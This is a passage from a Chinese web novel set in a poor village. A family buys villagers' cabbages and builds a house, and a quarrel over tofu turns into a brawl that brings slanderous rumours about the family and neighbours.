王妞妞和王小牛更怕,贴着床边要往上爬,想躲在床里头。 陈翠花迷迷糊糊间听到孩子的声音,又感觉自己身体在晃动。 她幽幽睁眼,视线刚聚集就看到王柱子嘴边的泥渍。 陈翠花一下就有了些力气,没好气的拍一下王柱子的后背,气急道:“你这孩子咋这么不听话,都说了不要吃泥不要吃泥,咋就不听呢!” 陈翠花没什么大力气,打的也不疼。 但王柱子还是哭了,他听的出陈翠花生气不高兴。 “呜呜呜呜呜呜,娘我饿……” “陈婶子你在不在家啊?” 外头沈归又喊了一声。 陈翠花没再训儿子,奇怪谁家人会找她有事,便下床要出去。 结果腿一软,人给摔地上去了。 三个孩子吓一跳,都跑过来扶陈翠花起身。 “娘没事,你们乖,在屋里别出去。” 陈翠花怕是有人想来家里找麻烦,这会刚秋收完不久,村子里会有二赖子凑一起,专挑他们这样的人家要吃的或者是铜钱。 年年都这样,今年他们一家说好了,就算是拼命,也不会再往外掏一点。 没钱没吃的本来就活不下去,早死晚死都得死,不如拼了。 陈翠花哄着孩子在屋里,自己缓了一下后出去看看是怎么回事。 路过门后,她顿了一下,还是从门后拿出破旧的镰刀,深吸一口气走出去。 到外头的时候她就傻眼了。 来的不是以前的二赖子们,像是山脚下沈家的人。 她看到沈归后面的壮汉,吓的一屁股坐地上去。 这比那些麻杆一样的二赖子还吓人呐! 壮成这样,她咋拼的过哟! 沈归见陈翠花突然坐地上,一副生无可恋的样子,不由担心道:“陈婶子你没事吧?我就是想问问你家的大白菜卖不卖,你今天要是不舒服,我明天再来?” 沉浸在绝望中的陈翠花一愣,啥玩意? 不是来欺负她家的啊? 陈翠花抓紧镰刀,“你是沈家四郎?来买白菜?” 沈归点头,“是啊。” 陈翠花往后看一眼,心里还是怕,“他们是?” “后面是我三姐夫和他兄弟,来帮忙收白菜的。”沈归见陈翠花脸色蜡黄,整个人虚的很,这一看就是饿狠了。 他媳妇有段时间也这样,刚嫁过来不敢多吃,省给小春小夏吃。 陈翠花知道山脚沈家,是村子里难得的讲理人家。 她悄悄松一口气。 沈归又问一遍,“陈婶子你家白菜卖不?” 陈翠花回神,脸上露出一些笑。 “卖的,卖的。你要多少啊?” 白菜这东西不值钱,家家户户都种,全都堆积着放地窖,是冬天的口粮。 这还是陈翠花活这三十几年来,头一次见村子里人买白菜。 她家一年到头见不着几个铜板,好不容易有个赚铜板的机会,她不会放过。 沈归道:“陈婶子家有多少能卖,我就收多少。按着镇上的价格来收,三斤两文。” 一颗白菜差不多就是三斤左右,白菜价格,是所有菜里最便宜的。 虽说白菜价便宜,但陈翠花还是眼睛一亮。 就算是这样便宜的价格,她平时想卖还卖不出去呢。 拿着白菜出去换东西,都换不到什么,实在是过于低廉。 她生怕沈归反悔,连忙从地上爬起来,有些不确定的问:“我家有两百斤白菜呢,我卖一百八十斤,你、你能要不?” 这些本是她存着家里过冬吃的,不然冬天都没吃的。但若是能还钱买点糙米杂面,谁想吃白菜。 又吃不饱。 沈归点头,“要。” 陈翠花激动的要命,她眼前有些发黑,幸好及时扶住门框才没跌倒。 “在地窖,都在地窖。我去给你拿,你在这等着。” 陈翠花高兴激动的手直发抖,朝着地窖走。 沈归提议道:“让我三姐夫他们去搬吧,能快点。我会叫他们小心,不弄坏婶子家地窖里的东西。” 早点搬出来,就能早点拿到钱,还省下力气,陈翠花求之不得,她连连点头,“好!” 一百八十来斤的白菜也就六十颗左右,定的大腌菜坛子,两坛半的事。 沈归定了四十来个坛子,这点肯定不够。 他称重好之后,麻利给钱,要去下一家。 陈翠花手里捧着一百二十几文钱,兴奋的直跺脚。 真的是铜板! 这些铜钱拿去买点杂粮面,家里又能多熬十来天。 杂粮面可比白菜好,白菜再多也不顶饿啊。 何况她家白菜也不是很多。 陈翠花回神后赶紧关好门,回屋里抱着三个孩子等她相公还有大儿从镇上做工回来。 一下午的功夫,沈归和赵家兄弟走遍了小柳村还有周围三个村子,收到了两千多斤的大白菜。 小柳村收到的最多,其他两个村加起来没小柳村多。 那两个村子基本上都想留着一大家子冬天吃,能有个菜味。也不差那点铜钱,所以没几家愿意卖。 也就小柳村,比起冬天有菜吃,还是更想多喝两口杂粮粥,多啃两口炖土豆饱肚子。 因为沈归这一下午的收菜,在小柳村掀起了一阵波澜。 不少人关起门来议论,都说沈家赚了大钱,不然怎么又盖房又收菜的。 对此,有的人家觉得无所谓,人家赚钱是人家的事。 有的为此还高兴,沈家赚大钱,他们能在后面赚点小钱。 盖房找人和收菜,不就是赚到的。 也有的见沈家不声不响的富起来,心里不太得劲。 觉得老天爷不公平,咋沈家能赚钱盖房,他们家不成? 众人心思各异,但都关起门在家里说,没叫沈家人听见。 沈归收菜的时候,大伙态度还都挺好,毕竟没人和钱过不去。 晚上,陈翠花的相公王铁生和大儿子王栓子从镇上回来。 这是他们下半年第一次去镇上,发现镇上粮铺全部降价,只需要以前一半的钱,就能买到同样重的粮食。 这让父子二人很高兴,干苦力都更加的卖力。 就想着多攒点,能在年前多买点最便宜的杂粮面回去。 他们小柳村不比别的村,分给他们村的地,都是其他村子不要的差地。 年年产收低,家里额外开荒种的土豆番薯,全都被拉走抵税。 留的那点口粮,哪够过冬的。 只能在入冬前出去做苦力,能赚一点是一点。 日子也这样过下来了。 “翠花开门!我们回来了!” 王铁生啪啪啪的敲门,屋里很快便传来动静,“来啦。” 王铁生见着陈翠花第一眼就觉着不对劲,他让大儿子关门,自己转头问:“啥事这样高兴?闺女回来了?” 陈翠花摇摇头,“不是。” 她声音压的很低,“今天咱卖东西赚钱了!” 王铁生懵了。 他家穷的叮当响,能有啥东西卖啊? 陈翠花拉着二人赶紧进屋,昏暗的烛光下,有一小堆的铜钱。 “看,卖白菜得的。” 王铁生和王栓子盯着铜钱揉眼睛,还以为自己看花了眼。 村子里还能卖白菜? 他们在镇上看见不少卖白菜的,上午三斤两文钱,快晚上了就是三斤一文钱。 那还是因为镇上没地种菜的缘故,才能卖出这个价格。 村子里家家户户最不缺的就是白菜,竟也能卖这价? 王铁生看着一小堆铜钱,“谁家疯啦?” 陈翠花拍了他一巴掌,“咋说话呢!” 咋叫疯了呢!那是散财童子! 得知是沈家后,王铁生想到之前村长找他,说要给沈家盖房子,也就这两天的事了。 他和大儿子运气好,正好被村长选上。 听说盖的是青砖大瓦房,那就不是缺钱的主。 他家花钱在村子里收白菜,倒也说得过去。 八成是为了做生意的。 王铁生乐呵一声,“那希望沈家多赚钱,一直买咱们家白菜。” 陈翠花也这么想呢。 在听说镇上粮铺降价一半后,陈翠花高兴的哭了出来,今年冬天比往年的冬天,都要好过。 沈家这边在吃完晚饭后,沈呈山就带着赵家兄弟去了村长家。 沈家没地方住了,在村长家借宿。 一间房一晚给十文钱,一共住两间。这可把祝村长高兴坏了,巴不得赵家兄弟能在他家一直住下去呢。 沈呈山也顺便说了凌星能和县令大人说上话的事,就是闲聊时无意说出,祝村长直接明白了其中的意思。 思忖片刻后,给沈呈山保证,“沈老弟你放心,小柳村有我,翻不出什么浪花。” 祝家祖上是第一批建村的,在小柳村根扎的深,有祝如山这句明话,沈呈山自然放心。 翌日一早,沈归带着赵家兄弟忙着收拾白菜。 除此之外,还要去打扫山洞。 离家百米的山脚,有个大山洞,里面空间大,地势平坦很适合放腌菜坛子。 凌星和沈回忙着出摊,凌月忙着读书,徐有芳带着闺女和儿媳做绒花,沈呈山忙活家里盖房的事,沈来带着小春小夏一起认草药,还要带着乌雪锻炼,一家子全都忙的很,投入到自己的事情中,为这个家的未来,共同努力。 吉日终于到了,祝如山带着三十来号人来到沈家,把屋里东西都清出来,开始推土屋,打地基,盖新房。 先盖正屋三间,沈家人有部分也要去别家借住。 凌星带着凌月和沈来去谢青崖家里住一阵子,也是按着一晚十文给钱。 谢青崖不要,凌星好说歹说才不情不愿的收下。 给凌星都整笑了,没见谁和钱有仇的,收的如此不高兴。 徐有芳要带着沈燕和外孙去刘家,离村长家不远,与村长家交好。 曹满月带着小春小夏住在刘家边上的李家,互相有个照应。 两家人都挺高兴的,不用供吃,就晚上去睡一觉,能给十文钱。 住的日子还长,那房子且要盖上一阵呢。 沈回,沈归,沈呈山还有乌雪就还住在家里,为了看家,不然院子里那些砖瓦得被人偷。 : 正好灶屋和沈归住的屋子都没推,要一个个来,三人一狗就分两间屋子睡。 沈家盖房给干活的包三顿饭,另给工钱二十文。 徐有芳在人家家里借住,不好做绒花,就带着沈燕和曹满月每天做饭。 省些找人做饭的钱。 不过做三十来号人的饭实在是辛苦,凌星在谢青崖家里,不怕方子泄露,每天照旧出摊子,中午和晚上那顿饭会帮着徐有芳一起做。 家里要什么菜,徐有芳也会提前和沈回说,第二天都能从镇上带。 地基打好这天,忙活的热火朝天的村民们突然闻到一阵肉香。 大家被肉味吸引,不由自主的停下,一个劲的嗅鼻子。 “乖乖,沈家还真给咱们做肉吃啊?” “是肉没错吧?我闻着是肉味。” “肯定是肉味,我做梦都是这个味道。” 前面沈呈山找祝村长帮忙招人的时候说了条件,隔两天能吃一顿肉。 大家其实知道,不过没人放在心上。 肉多贵啊,他们以前也经常农闲给人盖房子,就没有一家是给肉吃的。 能包一顿饭都已经很好了。 沈家包三顿,对他们来说,都是几乎没遇过的好待遇。 肉不肉的也没放心上。 可今日他们真的闻到了肉味。 王栓子搬着砖头,摸一下脑门子的汗,他悄声的对王铁生说:“爹,我前头搬砖看到沈二哥背一箩筐的肉回来。我以为他们自家吃的呢,这会看,估计是给我们吃的。” 王铁生瞪大眼睛,一箩筐的肉? 这得花多少钱啊! 他很快又镇定下来。 “估计不是全给我们吃,应该就切一点,有个荤腥味在里面。” 王栓子一听有道理,之前去干苦力,有次就说干得好,过几天给吃肉。 大家伙期待好几天,拼命的干活,终于盼来了那顿来之不易的肉。 结果一大缸的菜叶子,肉捞不出十片来。 连个荤腥味都没有,他都怀疑肉片是后放上去当摆设的。 第63章 第 63 章 打架 闻着肉味, 大家伙干活速度不自觉的加快,虽说也不敢有多少的期待,可这心里对肉还是十分向往的。 “开饭啦!” 沈来一声喊,村民们抹一下额头的汗水, 脸上都露出笑, 迫不及待的拿着自己的陶碗去排队打饭。 沈家菜都是有定量,不过糙米饭倒是没规定只能吃多少。 只要不浪费, 能吃多少吃多少, 就是不能带回家去。 菜的话就是几个菜各打一勺, 这个吃完了不好再打,想带回家去吃也可以。 排在第一个的村民在看清楚陶锅里面是什么的时候, 忍不住叫了出来。 “还真给肉吃啊!” 一句话让后面排着的人骚动起来, 都忍不住的往前探头,前面几个还能看见,再往后的人实在瞧不见, 只能追问排前面的。 队伍一时间热闹起来,大家满心满眼都是肉。 沈呈山怕出什么乱子, 提前叫沈回站在边上看着队伍。 村民面都有些怕他,虽然心急却也还算有序。 排在第一个的周大山急迫的送出自己的碗,一双眼睛紧盯着陶盆里夹在菜中间的肉片。 他吞咽着口水,视线随着木勺移动, 期盼着能有两片肉片是属于他的。 沈归一勺往下捞, 也没有抖手, 直接卡进村民的大陶碗里面。 在边上装饭的凌星看见, 心里不由想,要是他大学时期是沈归看打饭窗口该多好。 手稳的让人心安。 周大山死盯着木勺,心里快速的数着能看得见的肉片。 一二三四…… 十片! 他至少有十片肉! 沈家是正儿八经的给肉吃, 不是摆两片肉在上面骗人的! 周大山接过自己的大陶碗,里面有两个菜,一道荤一道素,另外一碗是满当当的糙米饭。 他喜气洋洋的端着两个大陶碗离开,蹲在地上就开始搂饭。 排在后面的村民们都期待的很,不自觉的吞咽口水。 打到饭菜的全都和周大山一样,迫不及待的找个地方一蹲,开搂! 王铁生和王栓子父子二人前后脚打好饭菜,蹲到角落后,王铁生从破旧的衣服里掏出一片洗干净的大叶子。 他把肉片都挑出来,齐齐摆在叶子上。 沈家人不管干活的村民菜的去处,不少人都会留一半的菜,晚上干完活带回去给家里吃。 王铁生前面都是用叶子把菜包好,然后用菜汤泡饭,吃完了之后再把包着菜的叶子放陶碗里面。 王栓子和他爹一个做法,不过今天王铁生道:“你的肉留着自己吃,爹的这份带回家就够了。” 大儿子长这么大也没吃过两口肉,是他这个当爹的没本事。 今天好不容易吃上了,他自然是想孩子多吃。 王栓子是真的馋肉,他长这么大,就没见过碗里有这么多的肉片。 一开始看见的时候,眼里都冒绿光,不得不说沈家人不仅有钱还大方。 他碗里的肉留了下来,不过没自己一个人吃,而是和他爹分着一起吃的。 当爹的吃了一片后就摇摇头,“不吃了不吃了,爹不爱吃肉。” 要不是王栓子盯着他爹看,见他嚼着肉片美滋滋舍不得吞的样子,还真能信。 缺油少糖的日子,谁能真不喜欢吃肉吃糖啊。 王栓子闷不吱声的给他爹夹肉,王铁生不要,他自己也就不吃。 僵持一会后,父子俩还是平分了肉片。 王铁生边吃边想,他啥时候能叫家里人可以痛痛快快的吃一顿肉呢? 村民们的陶碗都是自己带的,容量不小。 沈家供饭大方,没有说不让人吃饱的。 村里人干活都很卖力,加上村长之前筛选过一遍,给沈家找来的都是老实本分的,房子进度还挺快。 在沈家真的做了一顿肉后,来干活的村民们干的就更卖力了。 速度又快,做的又好。 没一个敢偷奸耍滑,不为别的,就怕沈家人觉得他们干的不好,再把人给换了。 现在村子里可不少人都盯着,就等着有人被换下,自己能顶上。 在沈家干活,工钱合适,还管吃管饱,两天能吃顿肉,村里就没有不想来干的。 陈翠花把家里仅剩的白菜码好,用粗盐腌制了几颗,留着冬天的时候吃。 “娘,吃肉!” 六岁的王柱子瘦巴巴的手里抓着一片肉,这是王铁生昨天带回来的肉菜。 陈翠花忙着腌白菜,闻着肉香咽口水,“你咋还没吃完?娘不爱吃,你自己吃。” 王柱子身上套着一件满是补丁的衣服,这是大哥王栓子换下来的衣服,早已破旧不堪不能再缝补。 但陈翠花还是想着法的拆开,弄了两件小衣服出来。 最小的老五还是光着屁股,现在天冷,陈翠花怕孩子着凉,只能把人关屋里头。 王柱子听说娘不爱吃肉,眼睛瞪的老大,小小的脑袋实在没办法理解他娘。 怎么可能呢? 怎么会不喜欢吃肉呢? 王柱子吸溜着口水,高兴的把藏了半晌的肉塞自己嘴里去。 陈翠花见孩子吃的高兴,心里也开心。 她盘算一下家里的钱,想着镇上粮食降价一半,她也卖了白菜,丈夫和大儿子每天有四十文钱,包吃又节省不少口粮。 秋到冬这段时间,不必再和前面一样,紧巴巴的不敢多吃一口。 毕竟现在多吃一口,冬天就少吃一口。 现在天气没那么冷,少吃没什么大碍。冬天那样冷,再没什么吃的,人是真的活不下去。 “柱子,你在家照顾好弟弟妹妹,娘去买块豆腐回来。” 听说要买豆腐,王柱子蹦跶起来。 “好!” 他爱吃豆腐,软软嫩嫩可好吃了! 陈翠花把腌菜坛子放好,从屋里箱子底数出五文钱,小心的揣好,把门关上去买豆腐。 她已经半年没买过豆腐了,自己也想的慌。 要说豆腐,还是谢青崖做的最好,陈翠花自然想买到好吃的豆腐,便先去了他那。 谢青崖的豆腐生意是村子里最好的,不过他每天都有定量,卖完就没了。 来买豆腐的人多,院子里也热闹。 有好些也不是买豆腐,就是闲的没事,过来找人聊天。 陈翠花到的时候,院子里站着好几波人,都在眉飞色舞的说着话。 “陈婶子来啦,要多少豆腐?” 谢青崖把卖完的一板撤下,又抬新一板上来。 来得早不如来得巧,陈翠花指着中间的部分,“给我五文钱的,要中间的。” 中间部分四周都嫩,陈翠花觉得这是一板豆腐最好的地方。 五文钱买这里,比其他地方要值不少。 跟在陈翠花后面来的大娘见自己就差一步,懊恼的一拍大腿。 哎呀,可惜! 谢青崖也知道村子里的人爱中间的部分,但这部分有限,只能先到先得。 切好豆腐,谢青崖直接装在陈翠花带来的陶碗里。 豆腐的味道让陈翠花的心情又好了几分,她正准备走,就听见后头于大娘尖细的声音在挑剔着。 “哎?王夫郎你怎么回事?那块缺了一个角,多不吉利啊,重新给我划。” 谢青崖看着被刀带下去的小拇指盖大小的角,重新给于大娘划。 “这块也不行,太靠边了,硬的很。” 谢青崖闻言又换一个方向,继续划。 “这也不好,我觉得这块地方没其他的白,是不是做的有问题啊?” 谢青崖看着和其他地方一般无二的豆腐,停下了手里动作。 什么缺角,硬,不白,全是找事的借口。 都是一板豆腐,怎么会又硬有软? “于大娘,你说你想要哪,直接指。” 于大娘布满皱纹的脸一展,“你下一板不是还没动,我要那中间的部分。” 谢青崖呵一声,“这一板不卖完,下一板不会卖。想要下一板,于大娘先等着吧。” 于大娘一听就急了,“不成啊,我家姑爷晚上来吃饭,家里等着豆腐下锅呢。” 谢青崖看一眼日头,奇怪道:“这会才下午,也不耽误事啊。” 当然是不耽误事,于大娘就是不想等,也怕等了之后排不上她。 有的会在上一板最后一块的时候,连买两块,这样就可以挑选下一板的豆腐了。 而谢青崖一整板的豆腐,就还有一板。下一板等不上,今天就买不了了。 于大娘不干。 “王夫郎,你就先卖给我吧,反正你也是要卖的。” 谢青崖想也不想直接摇头,这个口子哪能开,只要开了,后面就都会要他中间的那块豆腐。给谁都是得罪人,他可不要这样。 “于大娘,你还是等等吧。” 见谢青崖油盐不进,于大娘收起了好颜色,嘴角一耷拉,“我说你这夫郎怎么这样不讲情?都说了我急着豆腐下锅,你还一个劲叫我等?你什么意思?” 谢青崖也不高兴了。 “现在才刚下午,你晚上才要豆腐,怎么就急了?你真急的话这些豆腐哪块不能买?哪块不一样?” 于大娘在家就是说一不二,家里的媳妇夫郎没一个敢在她面前大小声。 没想到今天在这受了别人的脸色。 她一撸袖子,疾言厉色,“你这什么表情?什么语气?一个后生晚辈,也敢对我这样说话!” 谢青崖哼一声,又不是他族里长辈,仗着年纪大瞎威风什么? 他正要说话,屋里传来响动。 “怎么了?” 天气变冷,王隽身体不太好,一边咳一边走出来。 于大娘一脸晦气的往后退。 “怎么,你一个病秧子也要充汉子给人撑腰啊?” 院子里其他的人不由提醒,“于大娘,说豆腐就说豆腐,不好这样说人的。” “那豆腐也不急着做,不然就再等等。” 于大娘朝着说话的方向啐了一口,一口痰下去,惹的人叫着往后退。 不等那几个女子哥儿回神,于大娘就叉着腰吼道:“嘴长在我身上,我想怎么说就怎么说。要你们多管闲事?” 说完一扭头又吼谢青崖,唾沫横飞,“我今天就要中间的那块豆腐,你卖也得卖,不卖也得卖!” 谢青崖嫌弃的很,及时盖上他的豆腐。 这一举动和明晃晃的嫌弃激怒了于大娘,她上前要拉谢青崖的手,被王隽阻止按住。 于大娘猛的一甩手,扯着嗓子尖叫道:“非礼啊!” 王隽脸色苍白,黑眸冷冽,“你再胡言乱语,我会报官。” 于大娘闻言一愣,报官? 真是笑话,这屁大点事报官,当衙门他家开的啊? “你一个病秧子说这话也不怕折寿,你说报官就报官啊?谁理你啊?” 说着又看向谢青崖,眼神轻蔑,“哦,你这小气吧啦的夫郎倒是和沈家那个寡夫走的近。怎么?看沈家那寡夫赚了钱,就觉得他有本事,连县老爷都听他的?” “且不说他没这本事,就算他有,你和那寡夫处的好,咋没带你赚钱?” 于大娘说完又嘲讽一笑,“也是,咋可能带你赚?真带你赚钱,还在这苦哈哈卖豆腐?” “那哥儿看着就是个精明的,对人不诚心,一看就没把咱们这些村子里的人放心上,不然能偷偷摸摸赚钱一点风声不……” 砰的一声响。 谢青崖把切豆腐的刀直接剁在木板上,怒道:“你再说一句试试?” 于大娘吓一大跳,拍着心口吱哇乱叫,“咋!你还要杀人不成!” 不等谢青崖出来,院子里其他人看不下去了。 不少人家里都有人在沈家干活呢,人家沈家那待遇好的没话说,这会不吭声,心里也过意不去。 “于大娘你这说的就过分了,关人家沈家什么事?” “人家赚不赚钱是人家事,你家赚钱了还敲锣打鼓的让人都知道啊?那不找偷嘛!” “好好的扯沈家干嘛?” 陈翠花家里两个人在沈家干活,家里是实打实的得了好处,她自己还从沈归那赚了一百多文钱呢。孩子都吃上肉了。 她一向都是多一事不如少一事,这会却也开口帮着说了一句,“沈家是好人家,招工干活给的待遇那么好,怎么就没把村子里人放心上?” 于大娘冷飕飕的看向陈翠花。 提起这事就来气! 她家里七个汉子去应给沈家盖房,结果沈家一个也不选。 于大娘此时也不在意豆腐了,阴阳怪气道:“呵,你家不知道使了什么手段,两个汉子都去沈家盖房,你自然在这帮腔拿势,又算得了什么好东西?” “前阵子那沈四郎还专门去你家收白菜,待了好一会才离开,也不知道有多少白菜,要收那么久。” 前面的话陈翠花能忍,后面的话万万忍不了。 这是要把人往死里害啊! 别说陈翠花,其他人也吓的不行。 “于大娘,饭能乱吃,话可不能乱说啊!” “是啊,你这话说的,还叫陈婶子怎么活啊!” 陈翠花抱着一碗豆腐,气的浑身发抖,也有被吓的。 听着院子里的人帮她说话,这才缓解一些。 这种谣言传出去,她真的死了算了。 于大娘被一院子的人说,面上挂不住,嘴硬道:“身正不怕影子斜,真没那事,她陈翠花怕什么?” “你个老虔婆!” 谢青崖受不了了,人直接冲出去。他速度太快,王隽本想拉一下他,都没能拉住。 谢青崖拽着于大娘的领子就往外拖。 他力气不小,于大娘一时间没反应过来,真的是被拖着走。 把人丢出门外,谢青崖冷着脸,“你家以后别来买我豆腐,我的豆腐就是给狗吃,也不卖给你家!” 于大娘终于晃过神,坐在地上梗着脖子破口大骂。 “谁稀罕你家的破豆腐!你家摊子迟早倒了没人来!” “你和沈家的都不是好东西!赚黑心钱!” “怪不得你相公有病,你没孩子!报应!全是报应!” 于大娘骂的难听,院子里的人实在听不下去,也说不了。 谁说了,她就连那人一起骂。 实在是不堪入耳。 陈翠花在院子里哭,在听到于大娘骂完另一个帮忙说话的婶子,又骂回她身上,哭的更厉害。 “你陈翠花生的又是什么好闺女?也是个勾引男人的骚……啊——” 陈翠花不知什么时候放下陶碗,人冲出去,一拳头锤在于大娘的脑袋上。 她边哭边打,我叫你骂我闺女! 二人在谢青崖家门前扭打起来,陈翠花长期吃不饱,虽然干农活力气也大,但终归是不敌于大娘。 她很快落下风,不过没吃亏,因为谢青崖上了。 王隽怕谢青崖受伤,那大娘疯了一样,见人就咬,自己赶紧上去护着谢青崖。 也不忘叫人去请村长。 这会祝如山正在沈家呢。 凌星得了谢青崖的提醒,知道想着要长久在村子里发展的话,自己赚钱肯定要带村子里人喝汤。 之前他刚起步,没办法带。 现在的话,倒是能带一些。 其他的暂时没有能让村子参与的,只有腌菜生意有。 这事是凌星和沈归两人一起与村长商量,来年开春村子里人种菜蔬,他们会先收村子里的。 祝村长自然是高兴,前段时间沈归收菜的时候,他就想找沈归说说。 看以后能不能紧着自己村子收。 如今听到沈家人提出来,他连连点头,忙问他们需要哪些菜。 正好提前和村人说要求,种的时候多种一些,到时可以多赚点钱。 凌星还准备开春打铁锅,做辣椒油,正好让村子里种些辣椒。 这边正商量着呢,外面传来急切的声音。 “村长在这不?王夫郎家那边打起来啦!” 来人是个哥儿,左脸颊上涂抹着黑乎乎的东西,遮挡孕痣。 他个头不高,人也瘦。 先跑村长家没找到人,说是在沈家,又一路跑过来。 撑着把话说完,已经喘的不行,眼前发晕。 凌星听说谢青崖那边出事,起的比祝村长还快。 “青哥儿他没事吧?” 来的哥儿借着喘气反应一会,才意识到凌星问的是谢青崖。 “我来的时候,他正和于大娘打着呢。” 凌星一听也顾不得许多,一溜烟的就跑。 沈回老远注意到这边,看着来人的唇语,就知道凌星担心,几乎是凌星跑出去的瞬间,他就放下手里的活,直接跟上。 沈呈山放好手里的砖,回头准备接砖,哪里还有人啊。 他盯着沈回匆忙离开的背影,眉头微皱,“二郎怎么回事?火急火燎的跑什么?” 第64章 第 64 章 心里有鬼 一路跑来找村长的哥儿叫钱方, 他公爹刘虎在沈家帮忙盖房,冷不丁的看到儿子夫郎还愣了一下。 那头都是汉子,钱方看见了刘虎也不好过去说话,只远远的点个头, 又跟着祝村长后面跑。 凌星心里惦记着谢青崖呢, 跑的很快。沈来也带着乌雪跟着,这会打最前头跑的是乌雪。 “哎哟喂!杀人啦!生不出孩子的夫郎要杀人啦!” 远远的, 凌星就听见尖叫声。前面没什么遮挡物, 能看到有不少人围在一起。 乌雪已经钻进人群, 引发一阵的骚动。 它认识谢青崖,熟悉他的气味, 上去就是帮谢青崖拖于大娘。 乌雪的父母估计体格不小, 它在沈家这段时间吃的足,运动也够,乍一看十分威猛。 突如其来一条大狗, 让一心要撕了谢青崖和陈翠花的于大娘吓坏了。 “啊啊啊啊啊啊——” 能刺破耳膜的惊叫声后,于大娘的战力朝着乌雪那使。 人哪斗得过灵活的兽, 于大娘手臂都挥累了,也没让乌雪后退分毫。 反而是乌雪的低吼声,让于大娘吓破了胆,一个劲的往后退。 不只是于大娘, 围观的人群也全散开, 都怕狗会突然转头咬他们一口。 有了乌雪的帮助, 前面还有些落下风的谢青崖立即就占据了上风。 不过他也怕乌雪会真的把人咬出个好歹, 一直在有意约束乌雪的行动。 乌雪很通人性,极其聪慧。知道谢青崖的意思,因此它都是吓唬, 以及牵制于大娘为主。 动手揍人的事,有谢青崖还有壮着胆子继续揍人的陈翠花。 乌雪刚进来的时候,陈翠花也是被吓得一激灵。 随后瞧着谢青崖与狗熟识,而狗也并没有攻击她,反而是帮着他们,也就放下心来。 只有于大娘被狗吓的直叫唤。 “乌雪!” 靠近的沈来唤了一声,乌雪听到声音,便不再吓唬于大娘,撒着狗腿一溜烟的跑到沈来身边。 凌星也赶过来,仔细瞧了一眼谢青崖,脸上有明显抓痕,脖子上也有,脸色一沉。 “好好的怎么打起来了?” 谢青崖见凌星担心,停下动作,也不管胡乱叫唤着说杀人了的于大娘。 “星哥儿别担心,看着吓唬人,算不得疼。” 就是王隽受苦了,替他捱了好几脚。 这于大娘战力实在太强,不愧是庄稼地里一把手,他们三人都差点没压的住。 不过他夫君是个读书人,身子骨又弱,一步三咳的也不算是战力。 陈翠花也没啥力气,就他还成,压不住也正常。 这边谢青崖脑袋里快速复盘一遍,那边于大娘见狗走了,看到凌星和沈家人来了,又战力十足,扯着嗓子开始嚷嚷。 “不活了!不活了!沈家的寡夫仗着自己赚几个臭钱,就放狗咬人!还有没有天理,有没有王法!” “一堆黑心肝的欺负我一个老太婆!祖上缺德的东西哦!” 谢青崖气的脑仁疼,倒是忘了这于大娘力气大不说,嘴上功夫更厉害。 上下嘴皮子一碰,什么都能说得出来。 凌星能感觉到坐在地上发狂的于大娘对他的不待见,他的态度自然也没多温和,脸上没什么情绪的问她,“你说放狗咬你,那身上有任何狗咬的伤痕没?” 于大娘根本不听凌星说什么,细想一下那狗看着唬人,确实没咬她一下。 她嘿呦一声,咬牙切齿的怒骂,“我说那小畜生咬了就是咬了!你一个克夫的寡夫,不在家里待着,带着狗在我跟前耍威风,你是想克死我啊!” 凌星还没来得及把克夫,寡夫,带狗出来会克于大娘,这些八杆子打不着一起的词联系到自己身上,身后就蹿出个高大的人影,于大娘还想扯着嗓子骂,结果只来得及发出一声古怪的叫声。 咯—— 沈回蹲在地上,手掐着于大娘的脖子,并未用力。 他面容冷峻似乎结一层冰霜。 “祸从口出,慎言。” 于大娘不以为意,呸了一声,“什么东西!一个寡夫还……” 沈回的手开始收缩,于大娘立时呼吸困难,脸色涨红,抬手疯狂的拍着沈回的手,嗓子眼里一直在发出古怪的嗬哧声。 沈回纹丝未动,他冷眼看着人,等对方点头答应不再说凌星。 “二郎,放开她吧。” 凌星上前拉了一下沈回的手臂,本是要带他起来。 这于大娘一看就不是省油的灯,沈家人介入其中不如全权交给祝村长处理,省的劳心费神。 沈回在凌星手刚放到手臂时,便稍微躲开,松开了于大娘。 他起身看着猛烈咳嗽的于大娘,想着对方刚刚说的话,心里还是有一股火在烧。 于大娘咳嗽好一会,终于缓过来,余光看到村长和沈家人都赶过来,立即爬起来,朝着祝村长大步走去。 她神情厌恶,尖酸刻薄的大喊道:“村长给我老婆子做主啊!沈家老二和沈家寡夫搞破鞋,他要杀我啊!” 周围彻底安静下来,只有于大娘的尖锐叫声。 “他们大庭广众的这个出头,那个说情,摸来摸去啊!” 沈回眸色一厉,徐有芳最先反应过来,呵斥一声,“沈回!” 这一声如当头棒喝,沈回禁锢在原地,不敢再向前。 谢青崖是第二个反应过来,他直接冲出去就揍于大娘。 “你胡说八道什么!星哥儿才没有!我两只眼睛都没看见你说的这些!” 沈回看着谢青崖的动作,黑眸沉沉。 他心里有鬼,不能如此坦然的冲出去阻止,怕会失控,会被发现。 王隽不动声色的看了沈回一眼,没说什么。 那边于大娘后背挨了一下,转头就用铁掌扇谢青崖,一巴掌下去,谢青崖也捂着胳膊龇牙咧嘴的。 祝村长吓的魂都要飞出来了,不是因为打架,而是因为于大娘冲过来喊的那句话。 他都不敢看沈家去确认,而是厉声道:“都给我住手!” 于大娘是怵村长的,这是村长积威已久。 她抬起一半的手不情不愿落下,谢青崖咬着牙瞪着于大娘,只要她再胡言乱语,就冲上去撕了她的嘴。 之前围在谢青崖家的妇人和夫郎们都鸦雀无声,大气不敢喘。 视线却是一直在沈回和凌星身上来回摆,不出一言,但彼此交汇的视线,已经有千言万语。 凭空的一句话,足够脑补出许多违背伦理纲常的情感。 这要是真的,是要浸猪笼的。 毕竟这凌哥儿没脱离沈家,一直以沈家大郎的夫郎身份在沈家生活。 谢青崖扫一眼那些妇人和夫郎,见他们“眉来眼去”的样子,哪里猜不出他们在想些什么。 想到这些人之前因为乌雪过来,跑的有点远,确实看不太真切。 那老虔婆喊一嗓子,就被带偏误会了。 他扭头高声对祝如山道:“村长,都是这婆子胡言乱语,星哥儿是好心拉着沈二叫他松手,他甚至都没碰上沈二!怎么到她嘴里就是摸来摸去了!” 一旁的陈翠花也反应过来,立即证明,“我也没看到!于大娘她就是爱胡说,一张嘴就要害人,她还说沈四郎来我家收菜是和我有什么呢!” “那天我饿晕了才出去迟了,沈四郎在院子里喊好几声,邻居都是听见的。后面弄白菜动静也不小,且沈四郎的三姐夫和兄弟们都在,怎么就是于大娘说的那样了?” 她说的详细,一是为了证明于大娘爱胡扯冤枉人。 二是前面她也被于大娘吓到,怕她后面继续散播谣言诋毁,干脆在村长和村民们面前说个一清二楚。 知道详情的越多,就越能避免这种话传出去有人信。 